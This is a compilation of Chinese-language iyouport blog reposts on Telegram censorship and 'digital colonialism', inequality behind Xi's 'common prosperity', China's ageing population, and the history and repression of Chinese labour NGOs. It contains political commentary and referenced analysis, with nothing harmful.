iyouport 曾在 2015 年发表过一篇关于雾霾的分析，事实显示，PM2.5 的压力对所谓的“阈值”并没有起到什么作用，这是呼吸问题，生存的基础，它都失败了。那么“阈值”究竟在哪儿呢？

换句话说，中国人能忍到什么地步？

「图」

「图」

“Pavel Durov 是俄罗斯人”

有朋友给出了这个理由。意思是，作为异议的 Pavel Durov 对俄罗斯采取的封锁会比其他任何国家都更为敏感。

不否认存在这一关系。上月底，Pavel Durov 呼吁支持者从自家窗户往外飞纸飞机，以反对俄罗斯禁止加密通讯。全国的用户纷纷响应了

这一呼吁，纸飞机行动“支持互联网自由”。

Durov 于2014年离开俄罗斯，并成为克里姆林宫关于互联网自由政策的著名批评者，他在互联网上呼吁支持者挖掘 “关于禁止 telegram 的原因、计划和方法的一切内部信息”。

对比 2015 年遭遇大规模 DDoS 攻击时的态度，并没有追查或者发动用户抗议，显然 Durov 无法做到这点，在原籍国动员反抗是社会运动问题，在其他国家动员会触及国际关系问题，虽然互联网无国界、隐私保护需求对所有人来说都应该是一样的。

但反过来看，中国人真的需要一个外国人/外国企业来动员吗？或者说，与 Durov 身份近似的华裔异议流亡人士遍布全球，为什么依旧如那位欧洲朋友所说 “在国际上很难听到中国人的声音”？

以上都是自我反思，最后有必要提及一个基础设施级的问题。

「图」

「图」

“北方叙事”

“北方叙事”是对一个近十几年来一直流行的概念的委婉说法，即“数字殖民主义 digital colonialism”（也叫做 electronic colonialism 前后两个链接指向更多诠释）。委婉也意味着取其一部分含义，基于本文的主题，而不是全部含义。

数字殖民主义的完整含义是，全球北方国家对南方国家通过互联网实施的经济、文化和社会等方面的日益增加的霸权。这有很多原因 – 与经济、文化和社会以及互联网的技术架构均有关。

互联网主要是一个以英语为基础的媒介，大部分应用程序和服务都以与世界大多数人口不相称的语言提供。统计数据表明，互联网上大约 60% 的网页内容都是英文的，而全球只有大约 10-15% 的人口会说英语。这就剥夺了全球大量人口的接触，并加剧了数字鸿沟。

“数字殖民主义”的反对者认为，目前世界上估计有超过 6000 种语言，但其中大部分可能会随着英语接管全球媒体和内容而消失。

伊朗的抗议者在 Twitter 使用英语传播资讯、俄罗斯的抗议者也是，包括中国在内的很多国家在互联网上的官方宣传都使用英语。与此同

时，技术和在线经济领域建立的商业模式大多来自北方国家，就如你所知道的 Google、Facebook、Twitter 等监视资本主义巨头，对基本人权和数据的攫取主义（extractivism）式的侵蚀。现在，中国的互联网公司也拼命想从中分一杯羹。

互联网上的内容往往被这些来自北方的庞大过滤器所筛选，最终互联网人所能看到的内容基本符合“北方叙事”的需求。一个例子，2016年的飓风，互联网上最频繁出现的消息基本都显示为飓风对纽约的影响，与此同时海地、牙买加和古巴同样的境遇却很少有资讯。

相关案例基本铺天盖地。搜索算法直接影响用户访问信息的方式。这是一种无形的审查制度，以符合北方国家的叙事偏好的过滤，并且与那些被标明目的的审查相比（比如“六骑士”），它更不容易被发觉。俄罗斯作为欧美长期而著名的敌人，其被关心程度自然要高于中国和其他国家，就如，只有当特朗普宣称关税计划时，你才有机会看到互联网上对“China”的刷屏；伊朗封锁 telegram 几乎和俄罗斯前后脚，但显然相关报道远没有俄罗斯更高。

北京大学的性侵事件是搭接在 #metoo 热门标签下才进入英文媒体关注视野的。

这里面还有一个“新闻倦怠”问题。也就是说，如果伊朗封锁 telegram 出现在 2006 年，也就是美国和伊朗关系由于伊朗核问题而处于焦点的时期，互联网对伊朗的关注会明显高于其他国家。再比如，Wikileaks 在 2010 年连续曝光了两个系列的重量级文件，阿富汗日志和伊拉克日志，而媒体们对后者的关心程度远远没有前者更高。两份文件本身的重要程度是一样的、并且都与美国有关。但由于当时阿富汗战争正在进行中，而伊拉克战争“已过时”，于是阿富汗更具吸引力，也就是能让读者体验到刷屏的感受……

俄罗斯对 telegram 的封锁恰逢民主党酝酿起诉、俄罗斯前间谍在英国被毒杀事件余音尚存，于是俄罗斯成为刷屏关键字而不是其他国家，也就不难理解了。

本文不讨论如何抵制“数字殖民主义”，因为那将是个颇大的篇幅，而且近十年来相关论述几乎铺天盖地，这里仅希望思考为什么中国思想和行动没能走出去？

除了本网曾经分析过的社会自闭问题、中国政府的战略性封闭问题，还有行动能力问题。就算没有打破北方国家主导互联网内容的整体生态，中国政府在欧美持续的所谓影响力发挥正逐渐进入北方国家的关

切重点、特朗普政府对中国的立场正引起大多数互联网主流媒体的兴趣，在这一形式下如果中国社会能有明显的行动，就如莫斯科正在发生的显著的抗议活动，进入互联网热点的可能性将会很高。

在危地马拉，许多人至今都没有其他方式获取到他们所居住的村庄之外的信息 – 甚至连电力等基本公用事业都缺乏。但如果你有机会使用互联网，却只访问一些固定的网站、只与一些固定的人交流，你就和危地马拉的村里人没什么区别，你完全没能享受到互联网真正的价值。

如果你不能在最大程度上创造、创新或推动，互联网对你来说并没有什么用。互联网的小圈子只是低热量的信息饮食，仅仅是一种维生，而不是发展和增长。

原文

习的民粹主义背后是日益加剧的社会不平等 - iyouport

关于中国社会

所谓的 "共同富裕" 可能只是维稳的表演。

注：本文来自WSWS。我们认同其对中国社会的所有分析，但对其结论保持谨慎，鉴于中国社会似乎普遍缺乏政治基础知识这一特征 …… 我们非常希望我们错了。当然如您所知，我们相比下更加激进，对自治主义的支持始终是IYP的中心之一，即 获取真民主。

习的中国领导层在今年带有明显的民粹主义色彩 —— 包括强调所谓的 “共同富裕”；宣布中国已经消除绝对贫困；以及采取有限的行动，以控制阿里巴巴的马云和腾讯的马化腾等亿万富豪，以及遏止在线教育行业的高利润私营企业。

中国共产党（CCP）并不打算严重阻碍中国市场和私有企业的运作，自邓小平启动资本主义复辟进程以来的四十年里，这些企业一直在蓬勃发展。中国共产党的官僚机构和富有的私营企业家密切相关——这些成功的资本家中有些是党员，或在各种政府咨询机构任职。

- 如果您错过了《中国增长模式陷入危机》

戴着口罩的人们在香港的地铁站里行走 [美联社照片/Kin Cheung]

习在年初对省部级官员的评论中已经阐明了该政权的主要恐惧。他警告说：“实现共同富裕，不仅是一个经济问题，而且是一个重要的政治问题，关系到党的执政基础 …… 我们绝对不能让贫富差距越来越大，[导致]穷人更穷，富人更富”。

8月，习近平告诉中央财经委员会，必须更加重视 “共同富裕”，并表示需要 “调节过高的收入”，“鼓励高收入者和企业更多地回报社会”。然而，企业的所谓慈善事业和政府象征性的扶贫措施并不能扭转中国或其他地方日益扩大的贫富差距，这一差距的根源在于利润体系。

在外国投资和技术大量涌入以利用中国大量廉价劳动力的推动下，资本主义恢复进程当然导致了巨大的经济扩张和人均国内生产总值的提高。然而，与其他资本主义经济体一样，社会不平等现象大大增加，加剧了社会紧张。虽然狭义上的绝对贫困可能已经“消除”，但是，仍然约有6亿中国人每天都在为月收入低于1000元人民币（约155美元）的状态下挣扎，而这个国家现在拥有的美元级富豪比美国还要多。

许多指数表明中国社会的不平等只是在加剧。

基尼系数是衡量社会不平等的标准，其范围从0代表绝对平等或所有人的收入完全相同，到1代表绝对不平等或一个人拥有所有的收入，其他人什么都没有。

自1978年邓小平的“改革开放”以来，中国的官方基尼系数急剧上升，从大约0.31上升到1997年的0.4，并在2008年达到0.49的高点，然后轻微下降到2020年的0.47。任何超过**0.4**的数字都被联合国认为是表明了巨大的不平等，而中国的领导人自己也宣布这个水平有可能会破坏稳定。

根据世界银行的数据，1978年，中国收入最高的10%的人和收入最低的50%的人各占该国总收入的约四分之一。到2018年，收入最高的10%的人拿走了总收入的40%以上，而收入最低的一半人只得到了不到15%。

就财富而不是收入而言，最富有的**1%**的个人在**2020**年拥有中国近**31%**的财富，高于**2000**年的约**21%**。以美国为例，最富有的**1%**的人的财富份额在**2020**年达到**35%**。根据胡润全球富豪榜，去年中国的美元级富豪人数达到**1058**人，而美国为**696**人。

中国将绝对贫困线定在按通货膨胀率调整后的每天2.30美元，并声称自2012年习近平上任以来，已将1亿农村居民的收入提高到这一水平之上。然而，世界银行为中国这样的中上收入国家设定了更高的贫困线，即每天5.50美元。在此基础上，中国有四分之一的人口处于贫困状态。

对农村贫困的关注凸显了城市和农村之间的鸿沟，中国约有40%的人口居住在城市。澳大利亚金融评论9月公布的数字显示，到1997年，城市家庭收入平均比农村家庭收入高83%。这在2009年上升到167%，到2019年下降到132% —— 仍然是农村平均水平的两倍多。

今年早些时候，美国《外交事务》杂志的一篇文章解释说，在中国，城市收入中位数的人处于全球第70百分位，换句话说，比世界上70%的人口更富有，而农村收入中位数的人处于全球第52百分位。报告写道："换句话说，中国的普通城市人与匈牙利的普通人一样富有，而中国的普通农村人则与越南的普通人一样贫穷"。

城乡差距也体现在城市和主要的制造业中心，那里有近3亿来自中国农村的农民工，占工人阶级的很大比例。他们不仅工资和条件普遍较低，遭受歧视，而且绝大多数人没有城市户口，这是一种正式的居住文件，可以充分享受当地的公共服务，如学校和医院。这也是一个旨在为中国东部沿海地区巨大的制造业中心的工业和服务业提供廉价、易于剥削的劳动力的制度。

社会不平等也在教育领域长期存在，中国的精英大学以及政府机构或私营企业的高薪工作都由大学入学成绩决定。根据《外交事务》的文章，"一些一线城市的普通家庭已经把四分之一的实得工资花在了家教上 ..... 1990年在中国著名的清华大学就读的学生中，约有22%来自中国农村，但到2016年，这一比例仅为10.2%"。城市化可能是造成这一巨大变化的部分原因，但肯定不是全部。

外交事务杂志文章的作者，伦敦经济学院教授 Branko Milanovic 领导了一项研究，研究他所称的中国 "精英"—— 占人口比例最高5%—— 在1988年至2013年间的社会构成变化。**1988**年，四分之三的精英是政府雇员，而**25**年后，一半的精英是资本家或专业人士。此外，这种社会分化在中国共产党内部长期存在。当研究调查中国共产党的 "富有成员" 时，"大约一半属于面向私营部门的阶层"。

最后一个统计数字是中国共产党阶级性的一个重要指标。它远不是减少社会不平等的政治工具，而是从资本主义复辟和掠夺国有部门的过程中产生的资产阶级的喉舌。私营企业家依靠与中共高层的关系来促进他们的商业利益，助长了中国各级政府普遍存在的腐败。

虽然习近平一上台就发起了所谓的反腐运动，但是，他并无意将其进行到底，因为这将破坏他和中共赖以统治的整个腐朽的官僚机构的稳定。同样，他呼吁 "共同富裕"、超级富豪的慈善事业、以及减少社会不平等的必要性，这些都只是为了转移工人和年轻人日益增长的不满和反对情绪，这些情绪有可能爆发出广泛的社会动荡。

中国学者、风险投资家 Eric Li 在美国《外交政策》杂志上发表的一篇评论中指出，中国统治阶级担心在关注中国严重社会不平等的年轻人中会出现政治激进化。

李是中国共产党的坚定支持者，他宣称：“我这一代人主要关注的是中国的贫穷，因此关注市场经济，而九零后和零零后认为他们和中国社会面临的主要挑战植根于不平等”。

“即使是在极具创业精神的科技行业，年轻人要求停止过度剥削的呼声也越来越高，包括工资低的快递小哥和报酬高但工作强度大的技术和专业人员”。

李还指出，“人们对市场和资本主义的敌意越来越大，对社会主义和共产主义的支持也越来越多”。

习无疑希望他的民粹主义能够欺骗民众。然而，当言辞与现实不符时（这是不可避免的），层层叠叠的青年和工人将寻找真正的社会主义来替代腐败的中共机器 —— 世界托洛茨基主义运动是斯大林主义和毛主义的坚定反对者。〇

Behind Chinese President Xi’s populism, mounting social inequality

原文

人口问题可能是中国经济面临的最大挑战 - iYouPort

关于中国社会

以广场舞为主的社会结构能实现哪种伟大复兴？

「图」

「图」

早上9点过后不久，老人社区护理中心开始热闹起来了。一个男人在唱民歌，一个百岁老人坐在一盘象棋旁，等待对手。

虚拟现实机器可以让老人体验杂货店购物和乘坐地铁等场景，它被闲置在角落里。相比下晨练是更具吸引力的活动，几十个人一起拉伸关节……

这里是中国快速老龄化的前沿，这一趋势已经开始限制该国的经济潜力。

自该护理中心于半年前在上海市中心长宁开业以来，已经迎来了超过12,000名老人。这座城市于2014年设立了这些养老中心，结合了卫生所、临时医疗设施和老人的住所。

这些养老设施计划到2022年增加到400个。“我们等不及了”，社区组织者彭艳丽[音]说：“我们必须尽一切努力来构建这些[养老院]。”

「图」

「图」

老龄化对中国的压力越来越大。今年将是一个不祥的里程碑。

根据联合国预测，到2020年，中国公民的年龄中位数将超过美国人。然而，中国仍然贫穷得多，其中位收入仅为美国的四分之一。

人们一直在广泛讨论的担心 —— 中国会在变得富裕之前就老掉了这个问题 —— 已经不再是理论上的可能性，而是正在成为的现实。

根据联合国的预测，在未来25年内，中国65岁以上人口所占的百分比将从12％增至25％，翻一番以上。

相比之下，美国要达到同样的水平需要一个世纪，欧洲需要60多年。

中国的步伐与日本的步伐相似，但比韩国的步伐稍慢，这两个国家也是迅速老龄化的代表，但它们的人均财富大约是中国的三倍。

1960年出生的中国人的预期寿命为44岁，比同年出生的加纳人的预期寿命短。当前出生的中国婴儿的预期寿命为76岁，仅次于美国。但这也是中国臭名昭著的人口控制策略的结果。

1973年，当政府开始限制生育之前，中国妇女平均每人生育4.6个孩子。今天，她们平均只有1.6个孩子，一些学者说，即使这个估计也是过高了。

随着中国变得更加富裕，生育率必然会下降，但一胎化政策造成的生育率下降之幅度更大。

尽管该国在2016年开始实行了二胎政策，可能很快就会完全取消限制，但这一放松可能为时已晚。

从2012年就开始减少的劳动力人口，将在未来几十年内继续下降。到本世纪中叶，劳动力人口将比现在缩小近五分之一。

对经济的影响主要从两方面体验到。最明显的是需要照顾所有的老人。2014年，退休人员的养老金支出已经超过了在职人员的工资。根据中国社会科学院的数据，到2035年，国家养老基金可能会用光所有钱。

财政部正在采取一些小的步骤来加强这一体系：9月，他们将其在四家大型国有金融机构中的10％的股权转给了养老基金。但是仍然不够，还需要更多。

政府在养老金和医疗保健方面的支出约为GDP的十分之一，仅是较富裕的老龄化国家通常水平的一半，而这些国家随着国民年龄的增长，将不得不增加支出。

第二个影响是增长。一些中国经济学家，尤其是北京大学的林毅夫认

为，老龄化并不一定会使中国的经济放慢脚步，这在一定程度上要归功于技术的进步。

但迄今为止，由中国社会科学院蔡昉领导的另一个阵营赢得了这场争论。

不断萎缩的劳动力正在推高工资，并且随着公司在技术上投入更多资金以替代工人，从而降低了资本投资的回报。

蔡昉计算得出的结果是，中国的潜在增长率已降至约6.2%，几乎与今天的水平完全一样。劳动力短缺不仅打击了公司，而且打击了所有城市。

从北部的西安到南部的深圳，直辖市使大学毕业生的搬迁更加容易，希望借此吸引技术娴熟的年轻工人。

从理论上讲，中国可以通过增加劳动力的参与度和生产率来缓解老龄化带来的不利影响，也就是说，可以让更多的人上班，从他们身上得到更多。但是都不容易。

中国的退休年龄其实非常低（在许多工作中，男性为60岁，女性为50岁），但政府担心会出现反弹，因此拒绝提高退休年龄。

另方面习近平领导下恢复国家主导的增长似乎正在损害生产率。正如经济学家乔治·马格努斯（George Magnus）在《警告：为什么习近平的中国处于危险之中》一书中所写到的，人口问题不是命运，中国有时间改变路线；“但是，坏消息是可用的时间正在迅速流逝。”

「图」

「图」

上面这本书您可以在这里下载：https://t.me/iyouport/6377

一个好消息是，中国正在创造性地考虑如何照顾日益增长的养老金领取者。

传统上，期望孩子们照顾年迈的父母，这有助于解释为什么对养老院的公共投资很少。但是现在大多数家庭只有一个孩子，而那个孩子还需要工作。

苏州是上海附近的一个富裕城市，向人们展示了中国如何利用其规模

优势。2007年，企业家 Lu Zhong 创立了居家乐养老服务中心（Jujiale），将其称为“虚拟退休之家”，按需向私人住宅派遣佣工。

现在，它有1,800名员工，为130,000名退休人员服务。Lu 说，为了跟上需求，它每年需要增长约15%。

但这只是一大片乌云周边的一丝银线而已。

去年10月1日，北京庆祝中华人民共和国成立70周年。习近平发誓，到2049年的百年纪念日时，中国将发展到足以让全世界看到的实力。

但正如著名经济学家任泽平在最近的一份报告中指出的那样，到2050年，中国的年龄中位数将接近50岁，而美国为42岁，印度为38岁。他写道，这提出了一个问题：“我们可以依靠这种人口结构实现民族伟大复兴吗？” ○

Demography may be the Chinese economy’s biggest challenge

原文

从萌芽到破碎：中国劳工非政府组织的未来是什么 - iyouport

关于中国社会

习时代是否标志着中国劳工非政府组织的终结？

当中国主办1995年联合国第四次妇女问题世界会议时，谁会想到这将是中国非政府组织发展的一个催化事件？来自世界各地的联合国代表和活动家组成的这次会议，释放了大量相对独立的妇女组织。随着中国公民的组织空间被打开，它也为那些关注工人的悲惨处境的人创造了机会，让他们建立独立的团体，提供服务和权利咨询。

而在这一重大事件发生后的几十年里，中国的劳工非政府组织不仅受到严重的骚扰和压制，而且政府也向他们提出合作[收编]的建议。

这篇文章描述了中国劳工非政府组织从1995年开始的曲折历程。它指出了非政府组织成长的三个关键阶段：首先是1995年至2002年，这期间播下了第一批劳工非政府组织的种子；其次是2002年至2012年的十年，这期间中国加入了世界贸易组织（WTO），并采取了“走出去”的战略行动；最后是目前在习近平的领导下，劳工非政府组织面临严重压制的时期。

萌芽（1995–2002年）

「图」

尽管非政府组织，通常是半官方的，从80年代中期开始发展，但中国在1995年主办的联合国第四次妇女问题世界会议促进了更多独立的妇女组织的迅速发展。在此之前，严格的1989年《社会团体管理条例》阻碍了非政府组织的发展，而那些已经存在的非政府组织主要是商业、工业和专业协会。鉴于1989年6月4日天安门广场的悲剧事件后的国际制裁，北京政府渴望恢复国际关系。这次盛大的联合国会议为中国摆脱其国际贱民地位提供了一个关键时刻。

它不仅为妇女开辟了独立于中华全国妇女联合会（ACWF）的组织机会，而且还为那些关注其他问题（如劳工问题）的人创造了一个组织机会。一些最早的劳工非政府组织，即后来的非政府组织，就是在这次联合国会议的影响下成长起来的。精明的活动家们利用了建立非政府组织的隐性许可，建立了与女性流民工人有关的组织。记者、律师和学术界人士利用他们的地位和关系，建立了新的组织，处理流民工人的权利相关问题。香港的学者和活动家也利用这些机会，成立了为女性工人提供服务的组织。国际组织，如援助机构和基金会，在宣传性别平等的概念，促进国际联系、交流和访问，为组织发展提供建议，建立网络，以及为活动提供小额资金方面发挥了重要作用。通过这些经验，女性活动家和学者以及国际组织积累了联系、知识、网络，以及与同情的政府官员的联系（Howell 2003）。新的想法、方法、联系和国际意识开始超越性别不平等问题而延伸到其他问题。

20世纪90年代末，只有为数不多的劳工非政府组织，主要关注女性移民工人。其中最著名的也许是由香港的一群相关活动家和学者在深圳建立的中国女工网络，以及由一位著名女记者发起的北京女工俱乐部。由于与党和国家有良好的关系，这些妇女能够在政府的骚扰和怀疑中维持这些团体。然而，1998年对社会组织管理条例的进一步调整限制了非政府组织的实质性增长或发展。事实上，许多现有的非政府组织处于一种不稳定的状态，既没有被禁止，也没有被注册，因为注册的标准很严格，而且政府部门也不愿意按规定为它们提供赞助。随着2001年中国加入WTO，以及随后中国经济和社会的快速全球化，劳工非政府组织开始大量涌现并开花。

百花齐放（2002–2012）

「图」

2002年至2012年，有几个相互关联的因素支撑着劳工非政府组织的扩散和开花结果。这些因素包括中国在2001年加入世贸组织，领导层的变化，国际组织的存在，以及中华全国总工会（ACFTU）的缺乏说服力。

在20世纪90年代末，中国仅有零星的劳工非政府组织，主要分布在北京、深圳和广州。到2012年，中国各地的劳工非政府组织估计有40至100个，由于大多数没有注册，因此没有精确的统计数据。

促成劳工非政府组织发展的一个关键因素是中国在2001年加入了世贸组织。这不仅使中国向更多的外国投资和贸易开放，而且也刺激了中国企业“走出去”，寻求海外投资。通过这些扩大的经济关系，政府官

员和普通公民的旅行机会增加。无论是在经济、文化还是政治方面，都有更多机会接触到国际做事方式。商人、学者和学生、非政府组织、劳工活动家和工会之间建立了个人联系，形成了伙伴关系、交流和联合行动。

加入世贸组织的同时，非政府组织的类型也在发生变化。至此，经济改革的社会后果变得更加明显。这一点很快反映在关注社会问题和边缘群体（如自闭症儿童、农民工或艾滋病患者）的非政府组织的增长上。

2008年的汶川地震标志着国家与非政府组织关系的转折点，党和国家开始认识到非政府组织在救灾和解决社会问题方面可以做出的贡献。然而，在通过注册获得法律地位方面仍然存在困难，许多隶属于其他组织的团体，如研究机构或全国妇联，注册为公司或根本不注册。据报道，到2012年，未注册的团体远远多于已注册的团体。

2002年也预示着领导层的变化，胡锦涛担任党的总书记，温家宝担任总理，分别取代了江泽民和朱镕基。像所有领导人一样，他们试图在自己的任期内打上自己的烙印。

这里的核心是“和谐社会”和“以人为本的发展”等概念，这些概念巧妙地承认了中国日益严重的不平等现象，以及“三农问题”，这意味着要解决农村的怨气。

- 如果您错过了《抵抗中国的资本主义：国际联盟的理由》

这些言论表明，中国的领导层不仅努力实现持续增长，而且还努力改善那些没有从改革中受益的人的命运。这是一个更加开放和实验的时代，使新形式的政府与非政府组织关系得以发展，包括与劳工非政府组织的关系。

经济和社会的外向型发展为国际机构创造了更多的空间，这些机构不仅为政府官员而且为中国的学者和非政府组织提供了援助、支持和机会。例如，国际劳工组织定期与企业、中华全国总工会和政府讨论劳工问题，并与新兴的劳工非政府组织接触。国际非政府组织、双边发展机构和基金会的支持对一些非政府组织在中国的发展至关重要，特别是那些具有权利取向的非政府组织。

由于香港靠近广东省，香港的非政府组织也开始进入中国，建立新的劳工非政府组织、或与新兴的非政府组织合作（Chan 2013; Xu 2013）。广东省是外国投资最集中的地方，吸引了大量的农民工到出

口型工厂工作。

1990年代中期，中国的工作条件已经受到关注，促使了一系列保护工人的新劳动法的出台。但随着出口生产的激增，中国国内和国外对血汗工厂的劳动条件越来越关注。在千禧年的早期，劳工非政府组织主要集中在广东省，但随着时间的推移，这些组织开始在长江三角洲和其他中国城市如杭州、成都、上海、北京和重庆等地出现。

- 如果您错过了《茶杯里的风暴：殖民贸易及印度和中国的资本主义起源》

劳工非政府组织处理的问题类型因劳工活动的性质和程度、创始人的取向（如他们对性别、法律、传媒、职业健康等方面的兴趣）、企业的类型（如国有、私营或合资企业）以及某些地理区域的特定工业部门而有所不同。随着研究人员对劳资关系的分析，中国的劳工研究领域不断扩大，而国外的工会和劳工非政府组织则观察到抗议和罢工数量的增加，并寻求与活动家和研究人员的联系。

此外，随着劳工非政府组织提高对劳动法的认识，工人越来越多地通过调解委员会和法院寻求补救（Franceschini 和 Lin 2019）。虽然大多数工人倾向于用脚投票，但越来越多的人准备表达他们的关切，游说劳动局和当地政府官员，并引导工人采取行动和组织起来。

- 如果您错过了《为什么说中国是资本主义国家》

由于官方工会，即中华全国总工会，在维护工人权益方面被证明是无效的，劳工非政府组织找到了肥沃的土壤来发展。尽管中华全国总工会垄断了劳工代表权，但这主要限于国有企业，这些企业的工人享有更好的工作条件，至少在1990年代中期的国有企业改革之前是如此。

中华全国总工会作为一个传输组织，在工人和政府之间进行调解（Harper 1969）。在实践中，它是国家的附属品，只限于安排娱乐活动等良性任务，很少站在劳工一边反对资本和地方政府。在任何情况下，它都缺乏技能、愿望和能力，无法将移民工人纳入自己的阵营。在新的外商投资工厂里，工会的负责人往往是工厂的老板或老板的亲戚。在这种情况下，工人没有什么动力去寻求中华全国总工会的支持。正如大多数调查显示的那样，工人们认为中华全国总工会是无效的。

在概述了千年之初推动劳工非政府组织发展的一些因素后，了解它们的一些基本特征是很重要的。各个非政府组织在规模、活动、目标、

起源以及与政府的关系方面存在很大差异。大多数规模较小，很少有带薪工作人员，依靠学生或移民工人的志愿者（Xu 2013）。有些是由学者成立的，有些是由前工人成立的，有些是由律师成立的。他们的活动包括提供服务，如法律咨询、二手衣店、图书馆、热线电话、提高法律和劳工权利的意识、在纠纷中提供建议、协助在工作场所受伤的工人，以及通过合唱团和文化活动组织工人（Froissart 2011）。有些还从事宣传工作，试图影响政府和工会政策。无论是提供服务还是进行宣传，劳工非政府组织都用一种与法律的官方话语相呼应的权利语言来表述他们的活动。通过挪用权利和利益的官方法律语言，他们可以保护自己不被指责为试图 “颠覆政权”。

劳工非政府组织与独立工会不同，它们并不寻求成为会员制组织在工作场所向管理层提出工人的不满。与中华全国总工会相比，劳工非政府组织更具创新性和实验性，它们引入了接近和动员工人的新方法，如在宿舍联系工人或组织流动巴士，在工业场所提供有关劳工问题的建议和信息。一些非政府组织参与了外国品牌的企业社会责任活动，如监督行为准则。然而，具有改革议程的非政府组织坚持只有在他们能够在工厂进行培训的情况下才会这样做，这将使他们能够提出合法权利的问题并参与意识的提高（Pun 2005）。一些劳工非政府组织也参与支持工人的集体谈判过程，特别是在 2010 年本田罢工期间和之后（Zhou and Yan 2020）。

然而，劳工非政府组织在一些学术界也有争议。特别是，Lee 和 Shen（2011）批评劳工非政府组织是 “反团结的机器”。他们认为，许多劳工非政府组织主要关注的是工人个人通过法律寻求补偿，而不是组织替代性工会或集体行动。虽然批评是严厉的，但它也引起了辩论，也许对劳工非政府组织在解决工人的不满和塑造劳工运动方面的贡献有了更多的了解（Pringle 2018）。

在胡温时期，政府和劳工非政府组织之间的关系是持续压制、容忍和偶尔合作的组合。镇压涉及一系列行动，如拘留、人身暴力、骚扰、监视和抽查（Franceschini and Nesossi 2018）。劳工非政府组织经常被迫离开他们的场所，在几个月后搬到其他地方，并面临进一步的驱逐（Chen and Tang 2013）。然而，他们也被一些工会和政府官员所容忍，他们认为非政府组织的活动是提供他们缺乏的能力和技能的服务。在某些情况下，地方政府和工会甚至向非政府组织提供一些资金，以提供诸如法律咨询或支持农民工子女的服务。然而，持续不断的压制声使劳工非政府组织的存在变得岌岌可危。事实上，从2012年起，在习近平的新政府下，大多数劳工非政府组织的处境更加恶化了。

粉碎的花瓣

「图」

长期以来，中国政府对非政府组织持相当怀疑的态度。然而，负责提供福利和非政府组织注册的民政部的政府官员越来越意识到非政府组织在解决新的福利需求和填补政府服务空白方面的好处。然而，监管环境过于严格，使政府无法利用公民社会的倡议。在胡温时期，从2003年开始启动试点项目，将政府提供的服务承包给非政府组织（Lei and Chan 2018）。政府官员面临的风险是如何在实现这一目标的同时，避免使基于权利的非政府组织和政治敏感群体得到扩张。

正是在习近平的领导下，福利主义的纳入战略在全国范围内得到普及（Howell 2015）。这样一来，公民社会就被分成了两股不同的力量：服务型组织和权利型团体。政府出台了一系列法规，使非政府组织能够更容易地注册和申请政府合同，但同时也开始抽走基于权利的团体的外部资金，并对一般的活动家进行严厉镇压。通过这种方式，政府可以推进其精简公共部门和改革福利的目标，同时减少其权力稳固的政治风险。

为了应对有目的地促进以服务为导向的非政府组织部门的发展可能也会鼓励基于权利的政治敏感团体的发展这一风险，政府利用其强制机构来镇压被认为是“麻烦制造者”的团体。2015年是具有里程碑意义的一年，维稳机构对基于权利的组织和活动家进行了大扫荡，包括维权律师、女权主义者、持不同政见者、批评性学者和劳工活动家。随后在2016年底，《外国非政府组织管理法》获得通过，该法严重限制了外国基金会、非政府组织和其他外部资助者的活动空间，使基于权利的团体缺乏资源。

这种福利主义的合并战略使劳工非政府组织和活动家付出了代价。虽然劳工非政府组织一直面临着镇压的威胁，但2015年的逮捕浪潮也席卷了多个著名的劳工非政府组织领导人、律师和劳工活动家，他们被拘留，在某些情况下被判刑入狱。在接下来的几年里，陆续有一些劳工非政府组织的领导人在全国各地被拘留，导致这些组织变得奄奄一息或完全关闭。有鉴于此，其他活动家和非政府组织领导人停止了他们的活动，保持低调，与外国人保持距离，并寻求其他收入来源以维持生计。

然而，压制并不是唯一的故事。地方政府和工会官员继续争取一些劳工非政府组织申请政府服务合同，如为流民儿童举办活动。这样做的非政府组织小心翼翼，将他们的活动限制在最没有争议的问题上，如

给流民儿童的课后照护，并回避权利和倡导工作。

并非所有的劳工非政府组织都选择了这条道路，因为他们担心，像其他领域的非政府组织一样，接受政府合同可能会损害他们的自主权和目标，同时招致对其组织更大的控制。随着合同续签的权衡和不确定性变得明显，政府服务合同的选择变得不那么具有吸引力。对大多数劳工非政府组织来说，问题是在镇压解除之前低调行事，或将活动调整为通过其他方式资助的服务，或许还可以谨慎地加入一些权利工作。香港的劳工非政府组织也停止了在大陆的活动，但仍保持联系并尽可能提供建议。

劳工非政府组织的终结？

「图」

这是否标志着中国劳工非政府组织的终结？在扼杀劳工非政府组织以权利为基础的工作时，习近平时期也停止了解决工人不满的方法的任何创新，例如与劳工代表进行集体谈判。尽管如此，工人们继续罢工和抗议，这表明过去活动的遗产并没有完全消失。

胡温时代的工人组织和劳工非政府组织的经验留下了大量的记忆、联系和策略的残余，可以在未来加以利用。违反劳动法的现象和恶劣的工作条件继续困扰着中国工人，他们继续罢工、抗议，或用脚投票。

劳工非政府组织仍有一席之地，尽管它们与工会不同，但在改善工人条件和建立劳工运动方面可以发挥作用。然而，这可能不是近期内的事。对外国机构在中国资助非政府组织的限制，再加上在香港实施的《国家安全法》，严重限制了国际支持的可能性。

此外，许多劳工非政府组织活动家和维权律师仍然被拘留或受到严格监视。如果政治条件宽松，劳工支持团体可能会有重新出现的空间，但他们是否会采取类似的形式，或怀有与过去几十年来运作的团体类似的目标，还有待观察。

然而，精灵已经从瓶子里出来了，不能被轻易放回去。被压碎的花瓣仍然可以变成新的绿芽。○

References:

Chan, Chris King-chi. 2013. ‘Community-Based Organizations for Migrant Workers’ Rights: The Emergence of Labour NGOs in China.’

Community Development Journal 48(1): 6–22.

Chen, Feng and Mengxiao Tang. 2013. ‘Labour Conflicts in China: Typologies and Their Implications.’ Asian Survey 53(3): 559–83.

Franceschini, Ivan and Elisa Nesossi. 2018. ‘State Repression of Chinese Labor NGOs: A Chilling Effect?’ The China Journal 80: 111–29.

Franceschini, Ivan and Kevin Lin. 2019. ‘Labour NGOs in China: From Legal Mobilisation to Collective Struggle (and Back?).’ China Perspectives 1(2019): 75.

Froissart, Chloé. 2011. ‘NGOs Defending Migrant Workers’ Rights.’ China Perspectives 2(2011): 18–25.

Harper, Paul. 1969. ‘The Party and the Unions in Communist China.’ The China Quarterly 37: 84–119.

Howell, Jude. 2003. ‘Women’s Organisations and Civil Society in China.’ International Feminist Journal of Politics 5(2): 191–215.

Howell, Jude. 2015. ‘Shall We Dance? Welfarist Incorporation and the Politics of State–Labour NGO Relations.’ The China Quarterly 223: 702–23.

